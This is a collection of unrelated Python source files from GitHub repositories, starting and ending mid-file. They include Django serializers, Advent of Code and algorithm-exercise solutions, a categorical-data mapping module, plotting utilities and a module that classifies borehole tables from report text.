= serializers.CharField(source='package.package_title')\n# package_amount = serializers.CharField(source='package.package_amount')\n# salesman = serializers.SerializerMethodField()\n# bus_info = serializers.SerializerMethodField()\n#\n# class Meta:\n# model = UserPackageRelation\n# fields = ('id', 'username', 'nickname', 'package_title', 'package_amount', 'status', 'date_created',\n# 'salesman', 'bus_info')\n#\n# def get_salesman(self, obj):\n# r_obj = InviteRelationManager.objects.filter(invitee=obj.uid).first()\n# if r_obj:\n# salesman = r_obj.salesman\n# if salesman:\n# return {'salesman_username': salesman.username, 'salesman_name': salesman.salesman_name}\n# return {'salesman_username': None, 'salesman_name': None}\n# else:\n# return {'salesman_username': None, 'salesman_name': None}\n#\n# def get_bus_info(self, obj):\n# bus_obj = UserBusiness.objects.filter(uid=obj.uid).first()\n# if bus_obj:\n# return BusinessInfoManagerSerializer(bus_obj).data\n# else:\n# return None\n\n\nclass UserPackageRecordManagerSerializer(serializers.ModelSerializer):\n username = serializers.CharField(source='uid.username')\n nickname = serializers.CharField(source='uid.auth_base.nickname')\n salesman = serializers.SerializerMethodField()\n bus_info = serializers.SerializerMethodField()\n\n class Meta:\n model = UserPackageRecord\n fields = ('id', 'username', 'nickname', 'package_title', 'package_amount', 'status', 'date_created',\n 'salesman', 'bus_info')\n\n def get_salesman(self, obj):\n r_obj = InviteRelationManager.objects.filter(invitee=obj.uid).first()\n if r_obj:\n salesman = r_obj.salesman\n if salesman:\n return {'salesman_username': salesman.username, 'salesman_name': salesman.salesman_name}\n return {'salesman_username': None, 'salesman_name': None}\n else:\n return {'salesman_username': None, 'salesman_name': None}\n\n def get_bus_info(self, obj):\n bus_obj = UserBusiness.objects.filter(uid=obj.uid).first()\n if bus_obj:\n return BusinessInfoManagerSerializer(bus_obj).data\n else:\n return None\n\n\n# class UserPackageRelationManagerUpdateSerializer(serializers.ModelSerializer):\n#\n# class Meta:\n# model = UserPackageRelation\n# fields = ('status', )\n\n\nclass UserPackageRecordManagerUpdateSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = UserPackageRecord\n fields = ('status', )\n","repo_name":"yudengc/my_web","sub_path":"api/tiktokvideo/transaction/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42097535882","text":"import sys\nimport numpy as np\n\n\nwith open(\"input_d9.txt\", \"r\") as f:\n grid = np.zeros((500, 500))\n grid[249, 0] = 1\n head_x, head_y = 249, 0\n tail_x, tail_y = 249, 0\n motions = [motion.rstrip().split(\" \") for motion in f.readlines()]\n directions = {\"R\": 1, \"L\": -1, \"U\": -1, \"D\": 1}\n for motion in motions:\n for step in range(int(motion[1])):\n # head moves towards the required direction\n if motion[0] == \"R\" or motion[0] == \"L\":\n head_y += directions[motion[0]]\n elif motion[0] == \"U\" or motion[0] == \"D\":\n head_x += directions[motion[0]]\n else:\n raise Exception\n\n # check if tail is two steps away from head\n if (np.abs(head_x-tail_x) >= 2 and head_y == tail_y) or \\\n (head_x == tail_x and np.abs(head_y-tail_y) >= 2) or \\\n (np.abs(head_x-tail_x) + np.abs(head_y-tail_y) > 2):\n # identify where tail should move\n if head_x == tail_x:\n tail_y += directions[motion[0]]\n elif head_y == tail_y:\n tail_x += directions[motion[0]]\n else:\n if head_x > tail_x:\n tail_x += 1\n else:\n tail_x -= 1\n if head_y > tail_y:\n tail_y += 1\n else:\n tail_y -= 1\n\n grid[tail_x][tail_y] = 1\n\n print(f\"The tail visits {np.sum(grid)} positions.\")\n","repo_name":"chechu-arias/AdventOfCode2022","sub_path":"d9_1.py","file_name":"d9_1.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32410437005","text":"import logging\nfrom collections import OrderedDict\nfrom typing import List, NamedTuple, Optional, Tuple\n\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom landshark import iteration\nfrom landshark.basetypes import CategoricalArraySource, CategoricalType, Worker\n\nlog = logging.getLogger(__name__)\n\n\nclass CategoryInfo(NamedTuple):\n \"\"\"\n Information about categorical features.\n\n The mappings contain the original numerical categories in an array.\n Their index in that array is the number they have been mapped to.\n The counts list gives, for each categorical feature, the numbers of\n appearances in the data of that category.\n\n \"\"\"\n\n mappings: List[np.ndarray]\n counts: List[np.ndarray]\n\n\ndef _unique_values(x: np.ndarray) -> Tuple[List[np.ndarray], List[int]]:\n \"\"\"Provide the unique entries and their counts for each column x.\"\"\"\n x = x.reshape((-1), x.shape[-1])\n unique_vals, counts = zip(*[np.unique(c, return_counts=True)\n for c in x.T])\n return unique_vals, counts\n\n\nclass _CategoryAccumulator:\n \"\"\"Class for accumulating categorical values and their counts.\"\"\"\n\n def __init__(self, missing_value: CategoricalType) -> None:\n \"\"\"Initialise the object.\"\"\"\n self.counts: OrderedDict = OrderedDict()\n self.missing = missing_value\n\n def update(self, values: np.ndarray, counts: np.ndarray) -> None:\n \"\"\"Add a new set of values from a batch.\"\"\"\n assert values.ndim == 1\n assert counts.ndim == 1\n assert values.shape == counts.shape\n assert counts.dtype == int\n assert np.all(counts >= 0)\n for v, c in zip(values, counts):\n if v in self.counts:\n self.counts[v] += c\n else:\n self.counts[v] = c\n # Dont include the missing value\n if self.missing in self.counts:\n self.counts.pop(self.missing)\n\n\ndef get_maps(src: CategoricalArraySource, batchrows: int) -> CategoryInfo:\n \"\"\"\n Extract the unique categorical variables and their counts.\n\n The function maps k arbitrary numerical categories to the integers\n (0..k-1). It returns that mapping along with the counts of how many\n times each value appeared in the dataset.\n\n Arguments\n ---------\n src : CategoricalArraySource\n The ArraySource from which to extract the data.\n batchrows : int\n The number of rows to read from src in a single batch. Larger\n values are probably faster but will use more memory.\n\n Returns\n -------\n result : CategoryInfo\n The mappings and counts for each categorical column in the dataset.\n\n \"\"\"\n n_rows = src.shape[0]\n n_features = src.shape[-1]\n missing_value = src.missing\n accums = [_CategoryAccumulator(missing_value) for _ in range(n_features)]\n\n if missing_value is not None and missing_value > 0:\n raise ValueError(\"Missing value must be negative\")\n\n with tqdm(total=n_rows) as pbar:\n with src:\n for s in iteration.batch_slices(batchrows, n_rows):\n x = src(s)\n unique, counts = _unique_values(x)\n for a, u, c in zip(accums, unique, counts):\n a.update(u, c)\n pbar.update(x.shape[0])\n\n count_dicts = [m.counts for m in accums]\n unsorted_mappings = [np.array(list(c.keys())) for c in count_dicts]\n unsorted_counts = [np.array(list(c.values()), dtype=np.int64)\n for c in count_dicts]\n sortings = [np.argsort(m, kind=\"mergesort\") for m in unsorted_mappings]\n mappings = [m[s] for m, s in zip(unsorted_mappings, sortings)]\n counts = [c[s] for c, s in zip(unsorted_counts, sortings)]\n result = CategoryInfo(mappings=mappings, counts=counts)\n return result\n\n\nclass CategoryMapper(Worker):\n \"\"\"\n Worker class to perform a categorical data remapping.\n\n Arguments\n ---------\n mappings : List[np.ndarray]\n The arrays giving the maps from arbitary numerical categories in\n each column to the numbers 0..n-1.\n\n missing_value : Optional[int]\n If this dataset has a missing value, then providing here will ensure\n that it gets mapped to 0 (helpful for doing extra-category imputing).\n \"\"\"\n\n def __init__(self,\n mappings: List[np.ndarray],\n missing_value: Optional[int]\n ) -> None:\n \"\"\"Initialise the worker object.\"\"\"\n for m in mappings:\n is_sorted = np.all(m[:-1] <= m[1:])\n assert is_sorted\n self._mappings = mappings\n self._missing = missing_value\n\n def __call__(self, x: np.ndarray) -> np.ndarray:\n \"\"\"Map the data in x into the new categories.\n\n Arguments\n ---------\n x : np.ndarray\n The categorical data to remap. Assuming the last dimenion\n of x is where the separate features are indexed.\n\n Returns\n -------\n x_new : np.ndarray\n The version of x in which the remappings have been applied.\n\n \"\"\"\n fill = self._missing if self._missing is not None else 0\n x_new = np.empty_like(x)\n for i, cats in enumerate(self._mappings):\n x_i = x[..., i].ravel()\n mask = x_i != self._missing if self._missing \\\n else np.ones_like(x_i, dtype=bool)\n x_i_valid = x_i[mask].flatten()\n flat = np.hstack((cats, x_i_valid))\n actual_cat, remap = np.unique(flat, return_inverse=True)\n x_i_new_valid = remap[len(cats):]\n x_i_new = np.full_like(x_i, fill)\n x_i_new[mask] = x_i_new_valid\n x_new[..., i] = x_i_new.reshape(x[..., i].shape)\n assert np.all(actual_cat == cats)\n return x_new\n","repo_name":"data61/landshark","sub_path":"landshark/category.py","file_name":"category.py","file_ext":"py","file_size_in_byte":5783,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"61"} +{"seq_id":"36377721698","text":"\nN, M, L = map(int, input().split())\n\ncanCut = [int(input()) for _ in range(M)] + [L]\n\nfor _ in range(N):\n x = int(input())\n cake = [0 for _ in range(x)]\n\n start, end = 1, L\n answer = 0\n\n while start <= end:\n mid = (start+end) // 2\n\n cnt = 0\n left = 0\n for right in canCut:\n if right - left >= mid:\n left = right\n cnt += 1\n\n if cnt <= x:\n end = mid - 1\n else:\n start = mid + 1\n answer = max(answer, mid)\n\n print(answer)\n\n\n'''\n[10, 10, 15, 20, 5, 10]\n\n[5, 10, 10, 10, 15, 20]\n\n3\nstart = 5\nend = 70 // 3 = 23\n\n'''","repo_name":"studying-ice-bear/pparkkkimeom","sub_path":"GimYujin/BinarySearch/17179_케이크_자르기.py","file_name":"17179_케이크_자르기.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24907534667","text":"\"\"\"\n\"\"\"\n### Imports\nfrom __future__ import annotations\nfrom exo import proc\nfrom exo.libs.memories import DRAM_STATIC\n\n### Globals\nK = 8 # Block size\n\n### Body\n\n\"\"\"\nSPMV naive implementation\nWrites output vector to B\n\"\"\"\n@proc\ndef SPMV(N: size, \n A: R[N, N], \n x: R[N],\n B: R[N]):\n for i in par(0, N):\n for j in par(0, N):\n B[j] += A[j, i]*x[i]\n\nSPMV_WINDOW = (SPMV.rename(\"SPMV_WINDOW\")\n .set_window('A', True)\n .set_window('x', True)\n .set_window('B', True))\n\n\nSPMV_TEST = (SPMV_WINDOW.rename(\"SPMV_TEST\")\n .stage_assn('B_reg', 'B[_] += _'))\n\nSPMV_TEST = SPMV_TEST.lift_alloc('B_reg: _') \n\n\n#SPMV_WINDOW = SPMV_WINDOW.stage_window('A_cache', 'A[_] #0', DRAM_STATIC)\n\n\nSPMV_SPLIT = (SPMV.rename(\"SPMV_SPLIT\")\n .split('i', 16, ['io','ii'], tail='cut_and_guard')\n .split('j', 16, ['jo', 'jj'], tail='cut'))\n\nprint(SPMV_SPLIT.c_code_str())\n","repo_name":"Hooninator/exo_blis","sub_path":"working/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41648798087","text":"# 람다를 이용해 간단한 함수를 만들어 보자\n\ngradient = lambda x: 2*x - 4\n#위 코드는 아래와 같다. \n\ndef gradient2(x) :\n temp = 2*x - 4\n return temp\n\nx = 3\nprint(gradient(x))\nprint(gradient2(x))\n\n# 2\n# 2\n\n# 둘의 결과는 같다.","repo_name":"YoungriKIM/STUDY","sub_path":"keras2/keras69_1_lambda.py","file_name":"keras69_1_lambda.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74008703874","text":"\r\n#--------------------------------------------------------------------------\r\n# Author: Yunus Emre Işıkdemir\r\n# \r\n# Create Date: 03/28/2023\r\n# Module Name: Result Visualizer\r\n# Project Name: Deep Learning Time Series Forecastor\r\n# Description: The script facilitates the visualizing data.\r\n# \r\n# Dependencies: Can be found in requirements.txt\r\n# \r\n#--------------------------------------------------------------------------\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\nclass ResultsPlotter:\r\n def __init__(self, figsize=(8, 4)):\r\n self.figsize = figsize\r\n\r\n def plot_results(\r\n self,\r\n y_test,\r\n models_results,\r\n model_names,\r\n y_label=\"Number of Passengers\",\r\n x_label=\"Observation Index\",\r\n legend_loc=\"upper left\",\r\n ):\r\n\r\n plt.figure(figsize=self.figsize)\r\n\r\n plt.plot(y_test, label=\"actual\")\r\n\r\n for i in range(len(models_results)):\r\n plt.plot(models_results[i], label=model_names[i], alpha=0.8, ls=\"--\", lw=2)\r\n\r\n plt.ylabel(y_label, fontdict={\"weight\": \"bold\"})\r\n plt.xlabel(x_label, fontdict={\"weight\": \"bold\"})\r\n plt.legend(loc=legend_loc)\r\n plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # Generate some sample data\r\n y_test = np.random.rand(10)\r\n vanilla_lstm_results = np.random.rand(10)\r\n stacked_lstm_results = np.random.rand(10)\r\n bidirectional_lstm_results = np.random.rand(10)\r\n\r\n # Plot the results\r\n plotter = ResultsPlotter()\r\n\r\n models_results = [\r\n vanilla_lstm_results,\r\n stacked_lstm_results,\r\n bidirectional_lstm_results,\r\n ]\r\n model_names = [\"Vanilla LSTM\", \"Stacked LSTM\", \"Bidirectional LSTM\"]\r\n\r\n plotter.plot_results(y_test, models_results, model_names)\r\n","repo_name":"yisikdemir/deep-learning-ts-forecastor","sub_path":"visualizer.py","file_name":"visualizer.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26063317377","text":"\n# Assigning a value to the variable\nx = 0\n\n# assigning a condition for the while loop\nwhile x != 100:\n\n# using try-except block to handle exceptions (in this case, when the user is not entering an integer).\n try:\n x = int(input(\"Please input a number: \"))\n \n if x > 100:\n print(\"Wow,\", x, \"is a big number!\")\n elif x < 100:\n print(x, \"is pretty low, isn't it?\")\n else:\n print(x, \"is a nice number indeed.\") \n \n # if input isn't an integer; using except to specify for which error, the exception is applicable.\n except ValueError:\n print(\"This isn't a number.\")\n \n\n ","repo_name":"TechGrounds-Cloud8/cloud8-archana-sekarr","sub_path":"Python/PRG-05-Conditions2.py","file_name":"PRG-05-Conditions2.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30021851505","text":"import datetime\n\nsayi=int(input(\"Klavyeden 1-365 araliginda bir sayi giriniz: \"))\nwhile True:\n if 365>=sayi and 1<=sayi:\n break\n else:\n sayi=int(input(\"Lutfen belirtilen kosullarda bir deger giriniz: \"))\n\n\na = datetime.datetime.today().weekday()\nif a == 0:\n bugun = \"Pazartesi\"\nelif a == 1:\n bugun = \"Sali\"\nelif a == 2:\n bugun = \"Carsamba\"\nelif a == 3:\n bugun = \"Persembe\"\nelif a ==4:\n bugun = \"Cuma\"\nelif a == 5:\n bugun = \"Cumartesi\"\nelif a == 6:\n bugun = \"Pazar\"\n\nbulunacak_gun= sayi%7\ngun = (a+ bulunacak_gun)%7\nif gun == 0:\n digergun=\"Pazartesi\"\nelif gun == 1:\n digergun=\"Sali\"\nelif gun == 2:\n digergun=\"Carsamba\"\nelif gun == 3:\n digergun=\"Persembe\"\nelif gun ==4:\n digergun=\"Cuma\"\nelif gun == 5:\n digergun=\"Cumartesi\"\nelif gun == 6:\n digergun=\"Pazar\"\n\nprint( \"Bugün \"+str(bugun)+\"'dir\",sayi,\" gün sonra haftanın \"+str(digergun)+ \" günüdür.\")","repo_name":"sarikayarslan/SakaryaUni_Projects","sub_path":"Python/soru3.py","file_name":"soru3.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"39501260801","text":"import heapq\n\nclass Solution:\n # @param {int[][]} arrays a list of array\n # @param {int} k an integer\n # @return {int} an integer, K-th largest element in N arrays\n def KthInArrays(self, arrays, k):\n # corner case:\n # 1. empty array in arrays\n # 2. k > number of elements\n # 3. k == 0\n n = reduce(lambda n, arr: n + len(arr), arrays, 0)\n if k > n:\n return None\n # reverse and sort\n arrays = [sorted([-1*x for x in arr]) for arr in arrays]\n # initialize heap\n x, h = None, []\n for i in range(len(arrays)):\n # handle empty array case\n if len(arrays[i]) > 0:\n heapq.heappush(h, (arrays[i][0], i, 0))\n # pop k times\n for i in range(k):\n x = heapq.heappop(h)\n next_arr, next_idx = x[1], x[2] + 1\n if next_idx < len(arrays[next_arr]):\n heapq.heappush(\n h, (arrays[next_arr][next_idx], next_arr, next_idx))\n # reverse result\n return x and -1 * x[0]\n","repo_name":"jwyx3/practices","sub_path":"python/kth-largest-in-n-arrays.py","file_name":"kth-largest-in-n-arrays.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36053904806","text":"#!/usr/bin/python3\nfrom sys import stderr\n\n\ndef safe_function(fct, *args):\n \"\"\"Executes a function safely\"\"\"\n result = 0\n try:\n result = fct(*args)\n except Exception as er:\n stderr.write(f\"Exception: {er}\\n\")\n return None\n return result\n","repo_name":"Soria-c/holbertonschool-higher_level_programming","sub_path":"0x05-python-exceptions/101-safe_function.py","file_name":"101-safe_function.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40423086261","text":"import json\nimport ast\n\nclass Trie:\n\tdef __init__(self, data):\n\t\tself.data = data\n\t\tself.children = {}\n\nclass ManageTrie:\n\n\tdef __init__(self):\n\t\tself.root = Trie('root')\n\t\n\tdef add_to_trie(self, s):\n\t\tcurrent_node = self.root\n\t\tcount = 0\n\t\tfor c in s:\n\t\t\tif c not in current_node.children.keys():\n\t\t\t\tnew_child = Trie(c)\n\t\t\t\tcurrent_node.children[c] = new_child\n\t\t\tcurrent_node = current_node.children[c]\n\t\t\tcount += 1\n\t\t\tif count==len(s):\n\t\t\t\tcurrent_node.children[\"END\"] = None\t\t\n\n\tdef lookup_in_trie(self, s):\n\t\tcurrent_node = self.root\n\t\tfound = True\n\t\tfor c in s:\n\t\t\tif c not in current_node.children.keys():\n\t\t\t\tfound = False\n\t\t\t\tbreak\n\t\t\tcurrent_node = current_node.children[c]\n\t\t\n\t\t#return found\n\t\treturn (\"END\" in current_node.children.keys())\t\t\n\t\t\n\"\"\"with open('test_ids.txt') as f:\n\ttest_ids = f.readline()\n\ttest_ids = [x[2:-1] for x in test_ids.rstrip().split(',')]\n\ttrie = ManageTrie()\n\tfor test_id in test_ids:\n\t\ttrie.add_to_trie(test_id)\n\ntest_imUrls = []\ntest_asins = []\n\nwith open('meta_Clothing_Shoes_and_Jewelry.json') as f:\n\tfor line in f:\n\t\tasin_beginning = line.find(\"'asin': \") + 9\n\t\tasin_end = line.find(\"'\", asin_beginning)\n\t\tasin = line[asin_beginning:asin_end]\n\n\t\tif trie.lookup_in_trie(asin):\n\n\t\t\timUrl_beginning = line.find(\"'imUrl': \") + 10\n\t\t\timUrl_end = line.find(\"'\", imUrl_beginning)\n\t\t\timUrl = line[imUrl_beginning: imUrl_end]\n\n\t\t\ttest_asins.append(asin)\n\t\t\ttest_imUrls.append(imUrl)\n\nwith open('test_asins_imUrls.txt', 'w') as f:\n\tfor i in xrange(len(test_asins)):\n\t\tf.write(test_asins[i] + ',' + test_imUrls[i] +'\\n')\"\"\"\n","repo_name":"ShreyaR/ClothingCompatibility","sub_path":"aux/trie.py","file_name":"trie.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7770020860","text":"def is_kazu(num):\n if type(num) is not str:\n raise ValueError('parameter must be a string.')\n if len(num) > 2 and num.count('.',1,-1) == 1:\n num=num.replace('.','',1)\n if num.isnumeric():\n return True\n else:\n return False\n\nprint(is_kazu('1.2.3'))","repo_name":"AmanoRenard/Python","sub_path":"纯测试/202110/26-2.py","file_name":"26-2.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12832961316","text":"## @file\n# Functions to do with getting out table and classifying them as containing boreholes\n# by Anna Andraszek\n\nimport pandas as pd\nimport paths\nfrom io import StringIO\nfrom textractor import texttransforming\nimport json\nimport pandas.errors\nimport os\nimport re\nimport numpy as np\nfrom report import active_learning, machine_learning_helper as mlh\nimport pickle\nfrom sklearn.naive_bayes import ComplementNB\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import FunctionTransformer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom pandas.io.parsers import EmptyDataError\n\nname = \"tables\"\ny_column = 'Class'\nlimit_cols = ['DocID', 'TableNum']\n\n\n## Extract tables from a csv and return them\ndef get_tables(docid, bh=False, file_num=1, training=True, extrafolder=None, sep='`'):\n tablefile = paths.get_tables_file(docid, bh=bh, file_num=file_num, training=training, extrafolder=extrafolder)\n #if training:\n # tablefile = tablefile.split('../')[1]\n if os.path.exists(tablefile):\n with open(tablefile, \"r\", encoding='utf-8') as f:\n raw_tables = f.read()\n else:\n print(tablefile)\n raise FileNotFoundError\n\n tables = []\n table = \"\"\n prev_ln_table = 0\n prev_ln_ln = 0\n lines = raw_tables.split('\\n')\n for line in lines:\n if not line or line == '\"\"':\n if len(table) > 0 and not prev_ln_table and not prev_ln_ln:\n tables.append(table)\n table = \"\"\n prev_ln_ln = 0\n prev_ln_table = 0\n else:\n prev_ln_ln = 1\n if 'Table: Table' in line:\n prev_ln_table = 1\n else:\n prev_ln_table = 0\n table += line+'\\n'\n\n dfs = []\n for table in tables:\n data = StringIO(table)\n if not bh:\n try:\n df = pd.read_csv(data, sep=sep)\n except pandas.errors.ParserError:\n continue\n except EmptyDataError:\n continue\n else:\n # try:\n df = pd.read_csv(data, sep=',')\n # except pandas.errors.ParserError as e:\n # print()\n df.dropna(axis=1, how=\"all\", inplace=True)\n df.dropna(axis=0, how='all', inplace=True)\n #df = pd.DataFrame(table)\n #print(df.columns.values)\n dfs.append(df)\n return dfs\n\n\n## Create dataset of table content for table classification\ndef create_dataset(ids=False, save=True, docids_only=False, training=True):\n if ids:\n save = False\n if save:\n dataset = paths.get_dataset_path('tables', 'boreholes')\n dataset = dataset.split('../')[1]\n #docids = ['32730', '44448', '37802', '2646', '44603']\n ids = paths.get_files_from_path(type='tables', training=training)\n cols = ['DocID', 'TableNum', 'Content', 'FullTable']\n all_columns = pd.DataFrame(columns=cols)\n if docids_only:\n new_ids = []\n for id in ids:\n i = paths.get_files_from_path('tables', one_docid=id, training=training)\n new_ids.extend(i)\n ids = new_ids\n for id in ids:\n # try:\n # texttransforming.save_tables_and_kvs(id)\n # except json.decoder.JSONDecodeError:\n # print(id)\n # continue\n docid, file_num = id[0], id[1]\n tables = get_tables(docid, file_num=file_num, training=training)\n #columns = pd.Series([table.columns.values for table in tables])\n full_tables = []\n for table in tables:\n t = table.to_numpy()\n t = t.astype(str)\n t = np.insert(t, 0, table.columns.values, 0)\n full_tables.append(t)\n\n tables_values = [list(table.columns.values) for table in tables]\n #exclude = ['Unnamed: ', 'nan']\n for t, i in zip(tables, range(len(tables))):\n for j, row in t.iterrows():\n tables_values[i] = np.concatenate((tables_values[i], row.values))\n tables_values[i] = [v for v in tables_values[i] if re.match(r'[A-z]+', str(v))]\n tables_values[i] = [v for v in tables_values[i] if 'Unnamed:' not in str(v)]\n tables_values[i] = [v for v in tables_values[i] if str(v) != 'nan']\n tables_values = pd.Series(tables_values)\n docids = pd.Series([docid for x in range(len(tables_values))])\n tablenums = pd.Series([x + 1 for x in range(len(tables_values))])\n fulls = pd.Series(full_tables)\n series = [docids, tablenums, tables_values, fulls]\n iddf = pd.concat(series, axis=1)\n iddf.columns = cols\n #all_columns = all_columns.append(pd.Series(columns), ignore_index=True)\n all_columns = all_columns.append(iddf, ignore_index=True)\n if save:\n all_columns.to_csv(dataset, index=False)\n print('Done creating ', dataset)\n else:\n return all_columns\n\n\ndef list2str(lst):\n #table = \"\"\n #for e in lst:\n # table += str(e) + ' '\n return lst[0]\n\n\ndef concat_tables(df):\n #print(\"original df\\n\", df)\n if isinstance(df, np.ndarray): #or isinstance(df, list):\n if len(df.shape) > 1:\n return df[:, 0]\n return df\n if isinstance(df, list):\n if isinstance(df[0], list) or isinstance(df[0], np.ndarray):\n #if len(df.shape) > 1:\n return df[0]\n return df\n if isinstance(df, pd.DataFrame):\n if len(df.shape) > 1:\n #if df.shape[0]\n return df.iloc[:, 0]\n return df\n #series = series.apply(lambda x: list2str(x))\n\n\n## Defines and trains table classification model\ndef train(n_queries=10, mode='boreholes'):\n datafile = paths.get_dataset_path(name, mode)\n df = pd.read_csv(datafile)\n df = df.loc[df['Content'] != '[]']\n\n clf = Pipeline([\n ('list2str', FunctionTransformer(concat_tables)),\n #('vect', CountVectorizer(ngram_range=(1, 2), min_df=0.01)),\n ('tfidf', TfidfVectorizer(ngram_range=(1, 2), min_df=0.0025)), # min_df discourages overfitting\n ('cnb', ComplementNB(alpha=0.2))\n ], verbose=True)\n accuracy, learner = active_learning.train(df, y_column, n_queries, clf, datafile, limit_cols=limit_cols,\n mode=mode)\n model_loc = paths.get_model_path(name, mode)\n\n with open(model_loc, \"wb\") as file:\n pickle.dump(learner, file)\n return learner\n\n\n## Gets borehole tables from a df of unclassified tables\ndef get_borehole_tables(df, mode=\"boreholes\", masked=False):\n if df['Content'].dtype == object:\n df['Content'] = df['Content'].astype(str)\n return mlh.get_classified(df, name, y_column, limit_cols, mode, masked)\n\n\n## Error raised for when a file has no tables\nclass NoNaturalTablesError(Exception):\n pass\n\n\n## Gets borehole tables for a report ID\ndef get_bh_tables_from_docid(docid, file_num=1, training=True):\n # if not isinstance(docids, list): # in case only one docid is given\n # docids = [docids]\n # for id in docids:\n\n print(\"Getting borehole tables for \", docid, '_', file_num)\n df = create_dataset([[docid, file_num]], training=training)\n df = df.loc[df['Content'].str.len() > 0]\n num_tables = df.shape[0]\n if num_tables == 0:\n raise NoNaturalTablesError('File has no natural tables')\n res = get_borehole_tables(df, masked=True)\n num_bh_tables = res.shape[0]\n #print('Num of all tables: ', num_tables, ', num of borehole tables: ', num_bh_tables)\n tables = get_tables(docid, file_num=file_num, training=training)\n bh_tables = []\n #print(\"Borehole tables: \")\n for i in range(len(tables)):\n if i+1 in res['TableNum'].values:\n #print(tables[i])\n bh_tables.append(tables[i])\n\n return bh_tables\n\n\n## Saves found borehole tables to csv\ndef bh_tables_to_csv(docid, file_num=1, skip_for_existing=True, training=True):\n file = paths.get_tables_file(docid, file_num=file_num, bh=True, training=training)\n #file = file.strip(r'../')\n if os.path.exists(file):\n if skip_for_existing:\n return\n else:\n os.remove(file) # because we will be using append, don't want a file to already exists\n try:\n bh_tables = get_bh_tables_from_docid(docid, file_num=file_num, training=training)\n except NoNaturalTablesError as e:\n print(e)\n return\n save_tables(bh_tables, file)\n print('Saved ', docid, '_', file_num, ' bh tables to file')\n return\n\n\n## Saves tables to csv\ndef save_tables(tables, file, encoding='utf-8', header=True):\n i = 0\n if len(tables) == 0:\n with open(file, 'a', encoding=encoding) as f:\n startval = '[NO TABLES]'\n startseries = pd.Series([startval])\n startseries.to_csv(f, index=False, header=False)\n for df in tables:\n i += 1\n with open(file, 'a', encoding=encoding) as f:\n startval = 'Table: Table ' + str(i)\n startseries = pd.Series([startval])\n startseries.to_csv(f, index=False, header=False)\n df.to_csv(f, index=False, encoding=encoding, header=header)\n blnk_ln = pd.Series('')\n blnk_ln.to_csv(f, index=False, header=False)\n\n\n## Processes all tables to classify them as containing boreholes or not and saves the results\n# skip_for_existing=False if you want to overwrite bh_table files\ndef save_all_bh_tables(skip_for_existing=True, training=True):\n ids = paths.get_files_from_path('tables', training=training)\n for id in ids:\n docid, file_num = id[0], id[1]\n bh_tables_to_csv(docid, file_num=file_num, skip_for_existing=skip_for_existing, training=training)\n print('Saved all bh tables')\n\n\n# def create_bh_dataset():\n# dataset = settings.get_dataset_path('tables', 'boreholes')\n# dataset = dataset.split('../')[1]\n# docids = []\n# lines_docs = glob.glob('training/tables_bh/*.csv')\n# for lines_doc in lines_docs:\n# docid = int(lines_doc.split('\\\\')[-1].replace('_1_tables_bh.csv', '').strip('cr_'))\n# docids.append(docid)\n#\n# for id in docids:\n# tables = get_tables(id)\n# for table in tables:\n# num_rows, num_cols = table.shape()\n# rowcol_ratio = num_rows // num_cols\n# row_similarities = []\n# col_similarities = []\n# for i, j in table.iterrows():\n# # get row similarity in char textdistance, and average difference in char length differences\n\n\n## UNFINISHED Finding similarity inside rows and columns of tables to determine if the they're column-based or not\n# Did not put into practical use, just looked at results which in debugger mode.\ndef table_similarity(docid):\n bhtables = get_tables(docid, bh=True)\n for table in bhtables:\n rows, cols = table.shape\n t = table.to_numpy()\n t = np.insert(t, 0, table.columns.values)#, 0)\n t = t.astype(str)\n #t = t.tolist()\n vectorizer = CountVectorizer(analyzer='char')\n X = vectorizer.fit_transform(t)\n sim = cosine_similarity(X)\n rowsims = []\n colsims = []\n for r in range(rows+1):\n lbound = r*cols\n ubound = cols*(r+1)\n row = t[lbound:ubound]\n print(lbound, ubound)\n rowvec = vectorizer.transform(row)\n rowsim = cosine_similarity(rowvec)\n #print(rowsim)\n rowsims.append(rowsim)\n for c in range(cols):\n cis = [r*cols + c for r in range(rows+1)]\n col = [t[ci] for ci in cis]\n print(cis)\n colvec = vectorizer.transform(col)\n colsim = cosine_similarity(colvec)\n #print(rowsim)\n colsims.append(colsim)\n print('all rows')\n\n\nif __name__ == \"__main__\":\n #create_dataset()\n\n # dataset = settings.get_dataset_path('tables', 